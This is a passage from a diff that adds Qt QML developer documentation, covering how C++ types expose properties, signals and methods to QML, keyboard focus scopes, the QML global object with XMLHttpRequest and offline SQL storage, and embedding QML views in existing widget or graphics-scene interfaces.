+The QML snippet shown above assigns a \c Boy object to the \c BirthdayParty's
+\c host property, and assigns three other objects to the \c guests property.
+
+QML supports C++ inheritance hierarchies and can freely coerce between known,
+valid object types. This enables the creation of common base classes that allow
+the assignment of specialized classes to object or list properties. In the
+snippet shown, both the \c host and the \c guests properties retain the \c Person
+type used in the previous section, but the assignment is valid as both the \c Boy
+and \c Girl objects inherit from \c Person.
+
+To assign to a property, the property's type must have been registered with QML.
+Both the qmlRegisterType() and qmlRegisterInterface() template functions already
+shown can be used to register a type with QML. Additionally, if a type that acts purely
+as a base class that cannot be instantiated from QML needs to be
+registered, the following function can be used:
+
+\quotation
+\code
+ template<typename T>
+ int qmlRegisterType()
+\endcode
+
+This registers the C++ type \a T with the QML system. The parameterless call to the template
+function qmlRegisterType() does not define a mapping between the
+C++ class and a QML element name, so the type is not instantiable from QML, but
+it is available for type coercion.
+
+Type \a T must inherit QObject, but there are no restrictions on whether it is
+concrete or the signature of its constructor.
+\endquotation
+
+QML will automatically coerce C++ types when assigning to either an object
+property, or to a list property. Only if coercion fails does an assignment
+error occur.
+
+\l {Extending QML - Inheritance and Coercion Example} shows the complete
+code used to create the \c Boy and \c Girl types.
+
+\section1 Default Property
+
+\snippet examples/declarative/cppextensions/referenceexamples/default/example.qml 0
+
+The QML snippet shown above assigns a collection of objects to the
+\c BirthdayParty's default property.
+
+The \e {default property} is a syntactic convenience that allows a type designer to
+specify a single property as the type's default. The default property is
+assigned to whenever no explicit property is specified. As a convenience, it is
+behaviorally identical to assigning to the default property explicitly by name.
+
+From C++, type designers mark the default property using a Q_CLASSINFO()
+annotation:
+
+\quotation
+\code
+Q_CLASSINFO("DefaultProperty", "property")
+\endcode
+
+This marks \a property as the class's default property. \a property must be either
+an object property, or a list property.
+
+A default property is optional. A derived class inherits its base class's
+default property, but may override it in its own declaration. \a property can
+refer to a property declared in the class itself, or a property inherited from a
+base class.
+\endquotation
+
+\l {Extending QML - Default Property Example} shows the complete code used to
+specify a default property.
+
+\section1 Grouped Properties
+
+\snippet examples/declarative/cppextensions/referenceexamples/grouped/example.qml 1
+
+The QML snippet shown above assigns a number of properties to the \c Boy object,
+including four properties using the grouped property syntax.
+
+Grouped properties collect similar properties together into a single named
+block. Grouped properties can be used to present a nicer API to developers, and
+may also simplify the implementation of common property collections across
+different types through implementation reuse.
+
+A grouped property block is implemented as a read-only object property. The
+\c shoe property shown is declared like this:
+
+\snippet examples/declarative/cppextensions/referenceexamples/grouped/person.h 1
+
+The \c ShoeDescription type declares the properties available to the grouped
+property block - in this case the \c size, \c color, \c brand and \c price properties.
+
+Grouped property blocks may declared and accessed be recusively.
+
+\l {Extending QML - Grouped Properties Example} shows the complete code used to
+implement the \c shoe property grouping.
+
+\section1 Attached Properties
+
+\snippet examples/declarative/cppextensions/referenceexamples/attached/example.qml 1
+
+The QML snippet shown above assigns a date to the \c rsvp property using the attached
+property syntax.
+
+Attached properties allow unrelated types to annotate other types with some
+additional properties, generally for their own use. Attached properties are
+identified through the use of the attacher type name, in the case shown
+\c BirthdayParty, as a prefix to the property name.
+
+In the example shown, \c BirthdayParty is called the attaching type, and the
+\c Boy instance the attachee object instance.
+
+For the attaching type, an attached property block is implemented as a new
+QObject derived type, called the attachment object. The properties on the
+attachment object are those that become available for use as the attached
+property block.
+
+Any QML type can become an attaching type by declaring the
+\c qmlAttachedProperties() public function and declaring that the class has
+QML_HAS_ATTACHED_PROPERTIES:
+
+\quotation
+\code
+class MyType : public QObject {
+ Q_OBJECT
+public:
+
+ ...
+
+ static AttachedPropertiesType *qmlAttachedProperties(QObject *object);
+};
+
+QML_DECLARE_TYPEINFO(MyType, QML_HAS_ATTACHED_PROPERTIES)
+\endcode
+This returns an attachment object, of type \a AttachedPropertiesType, for the
+attachee \a object instance. It is customary, though not strictly required, for
+the attachment object to be parented to \a object to prevent memory leaks.
+
+\a AttachedPropertiesType must be a QObject derived type. The properties on
+this type will be accessible through the attached properties syntax.
+
+This method will be called at most once for each attachee object instance. The
+QML engine will cache the returned instance pointer for subsequent attached
+property accesses. Consequently the attachment object may not be deleted until
+\a object is destroyed.
+\endquotation
+
+Conceptually, attached properties are a \e type exporting a set of additional
+properties that can be set on \e any other object instance. Attached properties
+cannot be limited to only attaching to a sub-set of object instances, although
+their effect may be so limited.
+
+For example, a common usage scenario is for a type to enhance the properties
+available to its children in order to gather instance specific data. Here we
+add a \c rsvp field to all the guests coming to a birthday party:
+\code
+BirthdayParty {
+ Boy { BirthdayParty.rsvp: "2009-06-01" }
+}
+\endcode
+However, as a type cannot limit the instances to which the attachment object
+must attach, the following is also allowed, even though adding a birthday party
+rsvp in this context will have no effect.
+\code
+GraduationParty {
+ Boy { BirthdayParty.rsvp: "2009-06-01" }
+}
+\endcode
+
+From C++, including the attaching type implementation, the attachment object for
+an instance can be accessed using the following method:
+
+\quotation
+\code
+template<typename T>
+QObject *qmlAttachedPropertiesObject<T>(QObject *attachee, bool create = true);
+\endcode
+This returns the attachment object attached to \a attachee by the attaching type
+\a T. If type \a T is not a valid attaching type, this method always returns 0.
+
+If \a create is true, a valid attachment object will always be returned,
+creating it if it does not already exist. If \a create is false, the attachment
+object will only be returned if it has previously been created.
+\endquotation
+
+\l {Extending QML - Attached Properties Example} shows the complete code used to
+implement the rsvp attached property.
+
+\section1 Memory Management and QVariant types
+
+It is an element's responsibility to ensure that it does not access or return
+pointers to invalid objects. QML makes the following guarentees:
+
+\list
+\o An object assigned to a QObject (or QObject-derived) pointer property will be
+valid at the time of assignment.
+
+Following assignment, it is the responsibility of the class to subsequently guard
+this pointer, either through a class specific method or the generic QPointer class.
+
+\o An object assigned to a QVariant will be valid at the time of assignment.
+
+When assigning an object to a QVariant property, QML will always use a QMetaType::QObjectStar
+typed QVariant. It is the responsibility of the class to guard the pointer. A
+general rule when writing a class that uses QVariant properties is to check the
+type of the QVariant when it is set and if the type is not handled by your class,
+reset it to an invalid variant.
+
+\o An object assigned to a QObject (or QObject-derived) list property will be
+valid at the time of assignment.
+
+Following assignment, it is the responsibility of the class to subsequently guard
+this pointer, either through a class specific method or the generic QPointer class.
+\endlist
+
+Elements should assume that any QML assigned object can be deleted at any time, and
+respond accordingly. If documented as such an element need not continue to work in
+this situation, but it must not crash.
+
+\section1 Signal Support
+
+\snippet examples/declarative/cppextensions/referenceexamples/signal/example.qml 0
+\snippet examples/declarative/cppextensions/referenceexamples/signal/example.qml 1
+
+The QML snippet shown above associates the evaluation of a JavaScript expression
+with the emission of a Qt signal.
+
+All Qt signals on a registered class become available as special "signal
+properties" within QML to which the user can assign a single JavaScript
+expression. The signal property's name is a transformed version of the Qt
+signal name: "on" is prepended, and the first letter of the signal name upper
+cased. For example, the signal used in the example above has the following
+C++ signature:
+
+\snippet examples/declarative/cppextensions/referenceexamples/signal/birthdayparty.h 0
+
+In classes with multiple signals with the same name, only the final signal
+is accessible as a signal property. Note that signals with the same name
+but different parameters cannot be distinguished.
+
+Signal parameters become accessible by name to the assigned script. An
+unnamed parameter cannot be accessed, so care should be taken to name all the
+signal parameters in the C++ class declaration. The intrinsic types
+listed in \l{Adding Types}, as well registered object types are permitted as
+signal parameter types. Using other types is not an error, but the parameter
+value will not be accessible from script.
+
+\l {Extending QML - Signal Support Example} shows the complete code used to
+implement the onPartyStarted signal property.
+
+If you want to use signals from items not created in QML, you can access their
+signals with the \l {Connections} element.
+
+Additionally, if a property is added to a C++ class, all QML elements
+based on that C++ class will have a \e{value-changed} signal handler
+for that property. The name of the signal handler is
+\e{on<Property-name>Changed}, with the first letter of the property
+name being upper case.
+
+\note The QML signal handler will always be named
+on<Property-name>Changed, regardless of the name used for the NOTIFY
+signal in C++. We recommend using <property-name>Changed() for the
+NOTIFY signal in C++.
+
+See also \l {Importing Reusable Components}
+
+\section1 Methods
+
+Slots and methods marked Q_INVOKABLE may be called as functions in QML.
+
+\snippet examples/declarative/cppextensions/referenceexamples/methods/example.qml 0
+
+In this example an invitation is added via an \c {invite()} invokable method of
+the BirthdayParty element. This function is available in QML by marking the \c {invite()}
+method with Q_INVOKABLE in the BirthdayParty class:
+
+\snippet examples/declarative/cppextensions/referenceexamples/methods/birthdayparty.h 0
+
+\l {Extending QML - Methods Example} shows the complete code used to
+implement the invite() method.
+
+The \c {invite()} method is similarly available if it is declared as a slot.
+
+\section1 Property Value Sources
+
+\snippet examples/declarative/cppextensions/referenceexamples/valuesource/example.qml 0
+\snippet examples/declarative/cppextensions/referenceexamples/valuesource/example.qml 1
+
+The QML snippet shown above applies a property value source to the \c announcement property.
+A property value source generates a value for a property that changes over time.
+
+Property value sources are most commonly used to do animation. Rather than
+constructing an animation object and manually setting the animation's "target"
+property, a property value source can be assigned directly to a property of any
+type and automatically set up this association.
+
+The example shown here is rather contrived: the \c announcement property of the
+\c BirthdayParty object is a string that is printed every time it is assigned and
+the \c HappyBirthdaySong value source generates the lyrics of the song
+"Happy Birthday".
+
+\snippet examples/declarative/cppextensions/referenceexamples/valuesource/birthdayparty.h 0
+
+Normally, assigning an object to a string property would not be allowed. In
+the case of a property value source, rather than assigning the object instance
+itself, the QML engine sets up an association between the value source and
+the property.
+
+Property value sources are special types that derive from the
+QDeclarativePropertyValueSource base class. This base class contains a single method,
+QDeclarativePropertyValueSource::setTarget(), that the QML engine invokes when
+associating the property value source with a property. The relevant part of
+the \c HappyBirthdaySong type declaration looks like this:
+
+\snippet examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 0
+\snippet examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 1
+\snippet examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 2
+
+In all other respects, property value sources are regular QML types. They must
+be registered with the QML engine using the same macros as other types, and can
+contain properties, signals and methods just like other types.
+
+When a property value source object is assigned to a property, QML first tries
+to assign it normally, as though it were a regular QML type. Only if this
+assignment fails does the engine call the \l {QDeclarativePropertyValueSource::}{setTarget()} method. This allows
+the type to also be used in contexts other than just as a value source.
+
+\l {Extending QML - Property Value Source Example} shows the complete code used
+to implement the \c HappyBirthdaySong property value source.
+
+\section1 Property Binding
+
+\snippet examples/declarative/cppextensions/referenceexamples/binding/example.qml 0
+\snippet examples/declarative/cppextensions/referenceexamples/binding/example.qml 1
+
+The QML snippet shown above uses a property binding to ensure the
+\c HappyBirthdaySong's \c name property remains up to date with the \c host.
+
+Property binding is a core feature of QML. In addition to assigning literal
+values, property bindings allow the developer to assign an arbitrarily complex
+JavaScript expression that may include dependencies on other property values.
+Whenever the expression's result changes - through a change in one of its
+constituent values - the expression is automatically reevaluated and
+the new result assigned to the property.
+
+All properties on custom types automatically support property binding. However,
+for binding to work correctly, QML must be able to reliably determine when a
+property has changed so that it knows to reevaluate any bindings that depend on
+the property's value. QML relies on the presence of a
+\l {Qt's Property System}{NOTIFY signal} for this determination.
+
+Here is the \c host property declaration:
+
+\snippet examples/declarative/cppextensions/referenceexamples/binding/birthdayparty.h 0
+
+The NOTIFY attribute is followed by a signal name. It is the responsibility of
+the class implementer to ensure that whenever the property's value changes, the
+NOTIFY signal is emitted. The signature of the NOTIFY signal is not important to QML.
+
+To prevent loops or excessive evaluation, developers should ensure that the
+signal is only emitted whenever the property's value is actually changed. If
+a property, or group of properties, is infrequently used it is permitted to use
+the same NOTIFY signal for several properties. This should be done with care to
+ensure that performance doesn't suffer.
+
+To keep QML reliable, if a property does not have a NOTIFY signal, it cannot be
+used in a binding expression. However, the property can still be assigned
+a binding as QML does not need to monitor the property for change in that
+scenario.
+
+Consider a custom type, \c TestElement, that has two properties, "a" and "b".
+Property "a" does not have a NOTIFY signal, and property "b" does have a NOTIFY
+signal.
+
+\code
+TestElement {
+ // This is OK
+ a: b
+}
+TestElement {
+ // Will NOT work
+ b: a
+}
+\endcode
+
+The presence of a NOTIFY signal does incur a small overhead. There are cases
+where a property's value is set at object construction time, and does not
+subsequently change. The most common case of this is when a type uses
+\l {Grouped Properties}, and the grouped property object is allocated once, and
+only freed when the object is deleted. In these cases, the CONSTANT attribute
+may be added to the property declaration instead of a NOTIFY signal.
+
+\snippet examples/declarative/cppextensions/referenceexamples/binding/person.h 0
+
+Extreme care must be taken here or applications using your type may misbehave.
+The CONSTANT attribute should only be used for properties whose value is set,
+and finalized, only in the class constructor. All other properties that want
+to be used in bindings should have a NOTIFY signal instead.
+
+\l {Extending QML - Binding Example} shows the BirthdayParty example updated to
+include NOTIFY signals for use in binding.
+
+\section1 Extension Objects
+
+\snippet examples/declarative/cppextensions/referenceexamples/extended/example.qml 0
+
+The QML snippet shown above adds a new property to an existing C++ type without
+modifying its source code.
+
+When integrating existing classes and technology into QML, their APIs will often
+need to be tweaked to fit better into the declarative environment. Although
+the best results are usually obtained by modifying the original classes
+directly, if this is either not possible or is complicated by some other
+concerns, extension objects allow limited extension possibilities without
+direct modifications.
+
+Extension objects are used to add additional properties to an existing type.
+Extension objects can only add properties, not signals or methods. An extended
+type definition allows the programmer to supply an additional type - known as the
+extension type - when registering the target class whose properties are
+transparently merged with the original target class when used from within QML.
+
+An extension class is a regular QObject, with a constructor that takes a QObject
+pointer. When needed (extension class creation is delayed until the first extended
+property is accessed) the extension class is created and the target object is
+passed in as the parent. When an extended property on the original is accessed,
+the appropriate property on the extension object is used instead.
+
+When an extended type is installed, one of the
+\code
+template<typename T, typename ExtendedT>
+int qmlRegisterExtendedType(const char *uri, int versionMajor, int versionMinor, const char *qmlName)
+
+template<typename T, typename ExtendedT>
+int qmlRegisterExtendedType()
+\endcode
+functions should be used instead of the regular \c qmlRegisterType() variations.
+The arguments are identical to the corresponding non-extension registration functions,
+except for the ExtendedT parameter which is the type
+of the extension object.
+
+\section1 Optimization
+
+Often to develop high performance elements it is helpful to know more about the
+status of the QML engine. For example, it might be beneficial to delay
+initializing some costly data structures until after all the properties have been
+set.
+
+The QML engine defines an interface class called QDeclarativeParserStatus, which contains a
+number of virtual methods that are invoked at various stages during component
+instantiation. To receive these notifications, an element implementation inherits
+QDeclarativeParserStatus and notifies the Qt meta system using the Q_INTERFACES() macro.
+
+For example,
+
+\code
+class Example : public QObject, public QDeclarativeParserStatus
+{
+ Q_OBJECT
+ Q_INTERFACES(QDeclarativeParserStatus)
+public:
+ virtual void componentComplete()
+ {
+ qDebug() << "Woohoo! Now to do my costly initialization";
+ }
+};
+\endcode
+*/
diff --git a/doc/src/declarative/focus.qdoc b/doc/src/declarative/focus.qdoc
new file mode 100644
index 00000000..9ca7a74b
--- /dev/null
+++ b/doc/src/declarative/focus.qdoc
@@ -0,0 +1,210 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\target qmlfocus
+\page qdeclarativefocus.html
+\ingroup qml-features
+\contentspage QML Features
+\previouspage {QML Text Handling and Validators}{Text Handling and Validators}
+\nextpage {QML Signal and Handler Event System}{Signal and Handler Event System}
+
+\title Keyboard Focus in QML
+
+When a key is pressed or released, a key event is generated and delivered to the
+focused QML \l Item. To facilitate the construction of reusable components
+and to address some of the cases unique to fluid user interfaces, the QML items add aged
+\e scope based extension to Qt's traditional keyboard focus model.
+
+\tableofcontents
+
+\section1 Key Handling Overview
+
+When the user presses or releases a key, the following occurs:
+\list 1
+\o Qt receives the key action and generates a key event.
+\o If the Qt widget containing the \l QDeclarativeView has focus, the key event
+is delivered to it. Otherwise, regular Qt key handling continues.
+\o The key event is delivered by the scene to the QML \l Item with
+\e {active focus}. If no Item has active focus, the key event is
+\l {QEvent::ignore()}{ignored} and regular Qt key handling continues.
+\o If the QML Item with active focus accepts the key event, propagation
+stops. Otherwise the event is "bubbled up", by recursively passing it to each
+Item's parent until either the event is accepted, or the root Item is reached.
+
+If the \c {Rectangle} element in the following example has active focus and the \c A key is pressed,
+it will bubble up to its parent. However, pressing the \c B key will bubble up to the root
+item and thus subsequently be ignored.
+
+\snippet doc/src/snippets/declarative/focus/rectangle.qml simple key event
+\snippet doc/src/snippets/declarative/focus/rectangle.qml simple key event end
+
+\o If the root \l Item is reached, the key event is \l {QEvent::ignore()}{ignored} and regular Qt key handling continues.
+
+\endlist
+
+See also the \l {Keys}{Keys attached property} and \l {KeyNavigation}{KeyNavigation attached property}.
+
+\section1 Querying the Active Focus Item
+
+Whether or not an \l Item has active focus can be queried through the
+property \c {Item::activeFocus} property. For example, here we have a \l Text
+element whose text is determined by whether or not it has active focus.
+
+\snippet doc/src/snippets/declarative/focus/rectangle.qml active focus
+
+\section1 Acquiring Focus and Focus Scopes
+
+An \l Item requests focus by setting the \c focus property to \c true.
+
+For very simple cases simply setting the \c focus property is sometimes
+sufficient. If we run the following example with the \l {QML Viewer}, we see that
+the \c {keyHandler} element has active focus and pressing the \c A, \c B,
+or \c C keys modifies the text appropriately.
+
+\snippet doc/src/snippets/declarative/focus/basicwidget.qml focus true
+
+\image declarative-qmlfocus1.png
+
+However, were the above example to be used as a reusable or imported component,
+this simple use of the \c focus property is no longer sufficient.
+
+To demonstrate, we create two instances of our previously defined component and
+set the first one to have focus. The intention is that when the \c A, \c B, or
+\c C keys are pressed, the first of the two components receives the event and
+responds accordingly.
+
+The code that imports and creates two MyWidget instances:
+\snippet doc/src/snippets/declarative/focus/widget.qml window
+
+The MyWidget code:
+\snippet doc/src/snippets/declarative/focus/mywidget.qml mywidget
+
+We would like to have the first MyWidget object to have the focus by setting its
+\c focus property to \c true. However, by running the code, we can confirm that
+the second widget receives the focus.
+
+\image declarative-qmlfocus2.png
+
+Looking at both \c MyWidget and \c window code, the problem is evident - there
+are three elements that set the \c focus property set to \c true. The two
+MyWidget sets the \c focus to \c true and the \c window component also sets the
+focus. Ultimately, only one element can have keyboard focus, and the system has
+to decide which element receives the focus. When the second MyWidget is created,
+it receives the focus because it is the last element to set its \c focus
+property to \c true.
+
+This problem is due to visibility. The \c MyWidget component would like to have
+the focus, but it cannot control the focus when it is imported or reused.
+Likewise, the \c window component does not have the ability to know if its
+imported components are requesting the focus.
+
+To solve this problem, the QML introduces a concept known as a \e {focus scope}.
+For existing Qt users, a focus scope is like an automatic focus proxy.
+A focus scope is created by declaring the \l FocusScope element.
+
+In the next example, a \l FocusScope element is added to the component, and the
+visual result shown.
+
+\snippet doc/src/snippets/declarative/focus/myfocusscopewidget.qml widget in focusscope
+
+\image declarative-qmlfocus3.png
+
+
+Conceptually \e {focus scopes} are quite simple.
+\list
+\o Within each focus scope one element may have \c {Item::focus} set to
+\c true. If more than one \l Item has the \c focus property set, the
+last element to set the \c focus will have the focus and the others are unset,
+similar to when there are no focus scopes.
+\o When a focus scope receives active focus, the contained element with
+\c focus set (if any) also gets the active focus. If this element is
+also a \l FocusScope, the proxying behavior continues. Both the
+focus scope and the sub-focused item will have \c activeFocus property set.
+\endlist
+
+Note that, since the FocusScope element is not a visual element, the properties
+of its children need to be exposed to the parent item of the FocusScope. Layouts
+and positioning elements will use these visual and styling properties to create
+the layout. In our example, the \c Column element cannot display the two widgets
+properly because the FocusScope lacks visual properties of its own. The MyWidget
+component directly binds to the \c rectangle properties to allow the \c Column
+element to create the layout containing the children of the FocusScope.
+
+So far, the example has the second component statically selected. It is trivial
+now to extend this component to make it clickable, and add it to the original
+application. We still set one of the widgets as focused by default.
+Now, clicking either MyClickableWidget gives it focus and the other widget
+loses the focus.
+
+The code that imports and creates two MyClickableWidget instances:
+\snippet doc/src/snippets/declarative/focus/clickablewidget.qml clickable window
+
+The MyClickableWidget code:
+\snippet doc/src/snippets/declarative/focus/myclickablewidget.qml clickable in focusscope
+
+\image declarative-qmlfocus4.png
+
+When a QML \l Item explicitly relinquishes focus (by setting its
+\c focus property to \c false while it has active focus), the
+system does not automatically select another element to receive focus. That is,
+it is possible for there to be no currently active focus.
+
+See the \l{declarative/keyinteraction/focus}{Keyboard Focus example} for a
+demonstration of moving keyboard focus between multiple areas using FocusScope
+elements.
+
+\section1 Advanced uses of Focus Scopes
+
+Focus scopes allow focus to allocation to be easily partitioned. Several
+QML items use it to this effect.
+
+\l ListView, for example, is itself a focus scope. Generally this isn't
+noticeable as \l ListView doesn't usually have manually added visual children.
+By being a focus scope, \l ListView can focus the current list item without
+worrying about how that will effect the rest of the application. This allows the
+current item delegate to react to key presses.
+
+This contrived example shows how this works. Pressing the \c Return key will
+print the name of the current list item.
+
+\snippet doc/src/snippets/declarative/focus/advancedFocus.qml FocusScope delegate
+
+\image declarative-qmlfocus5.png
+
+While the example is simple, there are a lot going on behind the scenes. Whenever
+the current item changes, the \l ListView sets the delegate's \c {Item::focus}
+property. As the \l ListView is a focus scope, this doesn't affect the
+rest of the application. However, if the \l ListView itself has
+active focus this causes the delegate itself to receive active focus.
+In this example, the root element of the delegate is also a focus scope,
+which in turn gives active focus to the \c {Text} element that actually performs
+the work of handling the \c {Return} key.
+
+All of the QML view classes, such as \l PathView and \l GridView, behave
+in a similar manner to allow key handling in their respective delegates.
+*/
diff --git a/doc/src/declarative/globalobject.qdoc b/doc/src/declarative/globalobject.qdoc
new file mode 100644
index 00000000..332bd651
--- /dev/null
+++ b/doc/src/declarative/globalobject.qdoc
@@ -0,0 +1,207 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qdeclarativeglobalobject.html
+\title QML Global Object
+
+Contains all the properties of the JavaScript global object, plus:
+
+\tableofcontents
+
+\section1 Qt Object
+
+The \l{QmlGlobalQtObject}{Qt object} provides useful enums and functions from Qt, for use in all QML
+files.
+
+\section1 XMLHttpRequest
+
+\target XMLHttpRequest
+
+QML script supports the XMLHttpRequest object, which can be used to asynchronously obtain
+data from over a network.
+
+The XMLHttpRequest API implements the same \l {http://www.w3.org/TR/XMLHttpRequest/}{W3C standard}
+as many popular web browsers with following exceptions:
+\list
+\i QML's XMLHttpRequest does not enforce the same origin policy.
+\i QML's XMLHttpRequest does not support \e synchronous requests.
+\endlist
+
+Additionally, the \c responseXML XML DOM tree currently supported by QML is a reduced subset
+of the \l {http://www.w3.org/TR/DOM-Level-3-Core/}{DOM Level 3 Core} API supported in a web
+browser. The following objects and properties are supported by the QML implementation:
+
+\table
+\header
+\o \bold {Node}
+\o \bold {Document}
+\o \bold {Element}
+\o \bold {Attr}
+\o \bold {CharacterData}
+\o \bold {Text}
+
+\row
+\o
+\list
+\o nodeName
+\o nodeValue
+\o nodeType
+\o parentNode
+\o childNodes
+\o firstChild
+\o lastChild
+\o previousSibling
+\o nextSibling
+\o attributes
+\endlist
+
+\o
+\list
+\o xmlVersion
+\o xmlEncoding
+\o xmlStandalone
+\o documentElement
+\endlist
+
+\o
+\list
+\o tagName
+\endlist
+
+\o
+\list
+\o name
+\o value
+\o ownerElement
+\endlist
+
+\o
+\list
+\o data
+\o length
+\endlist
+
+\o
+\list
+\o isElementContentWhitespace
+\o wholeText
+\endlist
+
+\endtable
+
+The \l{declarative/xml/xmlhttprequest}{XMLHttpRequest example} demonstrates how to
+use the XMLHttpRequest object to make a request and read the response headers.
+
+\section1 Offline Storage API
+
+\section2 Database API
+
+The \c openDatabaseSync() and related functions
+provide the ability to access local offline storage in an SQL database.
+
+These databases are user-specific and QML-specific, but accessible to all QML applications.
+They are stored in the \c Databases subdirectory
+of QDeclarativeEngine::offlineStoragePath(), currently as SQLite databases.
+
+The API can be used from JavaScript functions in your QML:
+
+\snippet declarative/sqllocalstorage/hello.qml 0
+
+The API conforms to the Synchronous API of the HTML5 Web Database API,
+\link http://www.w3.org/TR/2009/WD-webdatabase-20091029/ W3C Working Draft 29 October 2009\endlink.
+
+The \l{declarative/sqllocalstorage}{SQL Local Storage example} demonstrates the basics of
+using the Offline Storage API.
+
+\section3 db = openDatabaseSync(identifier, version, description, estimated_size, callback(db))
+
+Returns the database identified by \e identifier. If the database does not already exist, it
+is created, and the function \e callback is called with the database as a parameter. \e description
+and \e estimated_size are written to the INI file (described below), but are otherwise currently
+unused.
+
+May throw exception with code property SQLException.DATABASE_ERR, or SQLException.VERSION_ERR.
+
+When a database is first created, an INI file is also created specifying its characteristics:
+
+\table
+\header \o \bold {Key} \o \bold {Value}
+\row \o Name \o The name of the database passed to \c openDatabase()
+\row \o Version \o The version of the database passed to \c openDatabase()
+\row \o Description \o The description of the database passed to \c openDatabase()
+\row \o EstimatedSize \o The estimated size (in bytes) of the database passed to \c openDatabase()
+\row \o Driver \o Currently "QSQLITE"
+\endtable
+
+This data can be used by application tools.
+
+\section3 db.changeVersion(from, to, callback(tx))
+
+This method allows you to perform a \e{Scheme Upgrade}.
+
+If the current version of \e db is not \e from, then an exception is thrown.
+
+Otherwise, a database transaction is created and passed to \e callback. In this function,
+you can call \e executeSql on \e tx to upgrade the database.
+
+May throw exception with code property SQLException.DATABASE_ERR or SQLException.UNKNOWN_ERR.
+
+\section3 db.transaction(callback(tx))
+
+This method creates a read/write transaction and passed to \e callback. In this function,
+you can call \e executeSql on \e tx to read and modify the database.
+
+If the callback throws exceptions, the transaction is rolled back.
+
+\section3 db.readTransaction(callback(tx))
+
+This method creates a read-only transaction and passed to \e callback. In this function,
+you can call \e executeSql on \e tx to read the database (with SELECT statements).
+
+\section3 results = tx.executeSql(statement, values)
+
+This method executes a SQL \e statement, binding the list of \e values to SQL positional parameters ("?").
+
+It returns a results object, with the following properties:
+
+\table
+\header \o \bold {Type} \o \bold {Property} \o \bold {Value} \o \bold {Applicability}
+\row \o int \o rows.length \o The number of rows in the result \o SELECT
+\row \o var \o rows.item(i) \o Function that returns row \e i of the result \o SELECT
+\row \o int \o rowsAffected \o The number of rows affected by a modification \o UPDATE, DELETE
+\row \o string \o insertId \o The id of the row inserted \o INSERT
+\endtable
+
+May throw exception with code property SQLException.DATABASE_ERR, SQLException.SYNTAX_ERR, or SQLException.UNKNOWN_ERR.
+
+\section1 Logging
+
+\c console.log() and \c console.debug() can be used to print information
+to the console. See \l{Debugging QML} for more information.
+
+*/
diff --git a/doc/src/declarative/integrating.qdoc b/doc/src/declarative/integrating.qdoc
new file mode 100644
index 00000000..f7439c26
--- /dev/null
+++ b/doc/src/declarative/integrating.qdoc
@@ -0,0 +1,111 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-integration.html
+\ingroup qml-features
+\previouspage {Using QML Bindings in C++ Applications}
+\nextpage {Dynamic Object Management in QML}{Dynamic Object Management}
+\contentspage QML Features
+\title Integrating QML Code with Existing Qt UI Code
+
+There are a number of ways to integrate QML into QWidget-based UI applications,
+depending on the characteristics of your existing UI code.
+
+
+\section1 Integrating with a \l{QWidget}-based UI
+
+If you have an existing QWidget-based UI, QML widgets can be integrated into
+it using QDeclarativeView. QDeclarativeView is a subclass of QWidget so you
+can add it to your user interface like any other QWidget. Use
+QDeclarativeView::setSource() to load a QML file into the view, then add the
+view to your UI:
+
+\code
+QDeclarativeView *qmlView = new QDeclarativeView;
+qmlView->setSource(QUrl::fromLocalFile("myqml.qml"));
+
+QWidget *widget = myExistingWidget();
+QVBoxLayout *layout = new QVBoxLayout(widget);
+layout->addWidget(qmlView);
+\endcode
+
+The one drawback to this approach is that QDeclarativeView is slower to initialize
+and uses more memory than a QWidget, and creating large numbers of QDeclarativeView
+objects may lead to performance degradation. If this is the case, it may be
+better to rewrite your widgets in QML, and load the widgets from a main QML widget
+instead of using QDeclarativeView.
+
+Keep in mind that QWidgets were designed for a different type of user interface
+than QML, so it is not always a good idea to port a QWidget-based application to
+QML. QWidgets are a better choice if your UI is comprised of a small number of
+complex and static elements, and QML is a better choice if your UI is comprised of a large number
+of simple and dynamic elements.
+
+
+\section1 Integrating with a QGraphicsView-based UI
+
+\section2 Adding QML widgets to a QGraphicsScene
+
+If you have an existing UI based on the \l{Graphics View Framework},
+you can integrate QML widgets directly into your QGraphicsScene. Use
+QDeclarativeComponent to create a QGraphicsObject from a QML file, and
+place the graphics object into your scene using \l{QGraphicsScene::addItem()}, or
+reparent it to an item already in the \l{QGraphicsScene}.
+
+For example:
+
+\code
+QGraphicsScene* scene = myExistingGraphicsScene();
+QDeclarativeEngine *engine = new QDeclarativeEngine;
